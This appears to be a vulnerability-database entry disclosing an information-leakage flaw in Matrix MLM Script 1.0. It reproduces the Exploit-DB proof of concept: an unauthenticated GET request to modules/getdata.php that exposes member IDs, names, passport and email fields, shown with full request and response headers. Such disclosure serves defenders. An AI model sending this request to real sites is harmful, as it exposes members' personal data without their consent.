Matrix MLM Script 1.0 - Information Leakage

vendor:

Matrix MLM Script

by:

Ihsan Sencan

3.3

CVSS

MEDIUM

Information Leakage

200

CWE

Product Name: Matrix MLM Script

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:royallifefoundation:matrix_mlm_script:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2019

Matrix MLM Script 1.0 – Information Leakage

Matrix MLM Script 1.0 is vulnerable to Information Leakage. An attacker can send a GET request to the getdata.php page in the modules directory to view sensitive information such as userid, username, profileid, passport, currentstage, l_member, r_member, firstname, lastname, emailaddress, and parentid.

Mitigation:

Ensure that the application is not exposing any sensitive information to unauthorized users.

Source

Exploit-DB raw data:

# Exploit Title: Matrix MLM Script 1.0 - Information Leakage
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://royallifefoundation.org/
# Software Link: https://codecanyon.net/item/mlmpro-multistage-forced-matrix-mlm-script/23050292
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/modules/getdata.php
# 
# userid=
# username=
# profileid=
# passport=
# currentstage=
# l_member=
# r_member=
# firstname=
# lastname=
# emailaddress=
# parentid=1

GET /[PATH]/modules/getdata.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=e1js8vek57sgge2oso51do2255
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
HTTP/1.1 200 OK
Date: Wed, 09 Jan 2019 18:24:01 GMT
Server: Apache
X-Powered-By: PHP/5.6.39
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked